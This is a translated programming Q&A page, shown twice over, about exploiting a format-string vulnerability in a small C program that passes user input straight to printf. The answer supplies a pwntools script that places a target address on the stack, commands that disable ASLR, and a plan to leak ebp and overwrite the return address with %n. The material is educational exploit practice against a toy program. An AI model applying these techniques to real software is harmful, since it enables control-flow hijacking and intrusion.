C Format-String漏洞,如何获取缓冲区中的地址
C Format-String vulnerability, how to get address in buffer
我有一个程序可以循环并使用 fgets 从 stdin 读取。整个读取循环位于一个函数中,我试图用 printf 漏洞覆盖函数的 return 地址。 return 地址位于 0xbffff0fc(它是 0x2a20029e),堆栈上的缓冲区由输入 AAAA(0x41414141)标识。
0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e
所以根据我的理解,我需要在缓冲区中写入 0xbffff0fc,然后我可以使用 %x%6$n(k 是一个整数)将任意值写入 0xbffff0fc。
所以输入看起来像这样:<0xbffff0fc>%x%6$n。我遇到的问题是如何编写 <0xbffff0fc> 以便它在堆栈上为 0xbffff0fc。仅凭 ASCII 字符,我真的无法做到这一点。
编辑:添加程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int function1()
{
char line[32];
size_t size;
while(1)
{
if (!fgets(line, sizeof(line), stdin))
{
return 0;
}
size = strlen(line);
line[size - 1] = '[=11=]';
printf(line);
printf("\n");
}
return 0;
}
int main(int argc, char** argv)
{
function1();
return 0;
}
很高兴看到有人在这里询问安全问题。
我想你可以看看 pwntools.
这是一个编写漏洞的工具。
这是一个简单的代码片段。
#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()
输出将是一些不可打印的字符加上0xbffff0fc
▒▒0xbffff0fc
为了进一步说明,line
变量已经在堆栈中。
但是你必须禁用 ASLR 保护才能使你的堆栈地址固定。
否则,每次执行程序时。
你的行变量地址会有所不同。
禁用它:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
启用它:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
但是,我认为您的问题不是如何将 0xbffff0fc
写入堆栈。
您的问题应该是如何在启用 ASLR
的情况下获取 line
的变量地址。
这是攻略。
泄漏堆栈帧的ebp然后你可以计算line
变量的地址。(这部分重要)
对前面的示例利用做同样的事情。
然后,用%n
改写函数的return地址。
如果你有问题,随时问我。
我有一个程序可以循环并使用 fgets 从 stdin 读取。整个读取循环位于一个函数中,我试图用 printf 漏洞覆盖函数的 return 地址。 return 地址位于 0xbffff0fc(它是 0x2a20029e),堆栈上的缓冲区由输入 AAAA(0x41414141)标识。
0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e
所以根据我的理解,我需要在缓冲区中写入 0xbffff0fc,然后我可以使用 %x%6$n(k 是一个整数)将任意值写入 0xbffff0fc。
所以输入看起来像这样:<0xbffff0fc>%x%6$n。我遇到的问题是如何编写 <0xbffff0fc> 以便它在堆栈上为 0xbffff0fc。仅凭 ASCII 字符,我真的无法做到这一点。
编辑:添加程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int function1()
{
char line[32];
size_t size;
while(1)
{
if (!fgets(line, sizeof(line), stdin))
{
return 0;
}
size = strlen(line);
line[size - 1] = '[=11=]';
printf(line);
printf("\n");
}
return 0;
}
int main(int argc, char** argv)
{
function1();
return 0;
}
很高兴看到有人在这里询问安全问题。 我想你可以看看 pwntools.
这是一个编写漏洞的工具。 这是一个简单的代码片段。
#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()
输出将是一些不可打印的字符加上0xbffff0fc
▒▒0xbffff0fc
为了进一步说明,line
变量已经在堆栈中。
但是你必须禁用 ASLR 保护才能使你的堆栈地址固定。
否则,每次执行程序时。
你的行变量地址会有所不同。
禁用它:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
启用它:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
但是,我认为您的问题不是如何将 0xbffff0fc
写入堆栈。
您的问题应该是如何在启用 ASLR
的情况下获取 line
的变量地址。
这是攻略。
泄漏堆栈帧的ebp然后你可以计算
line
变量的地址。(这部分重要)对前面的示例利用做同样的事情。
然后,用
%n
改写函数的return地址。
如果你有问题,随时问我。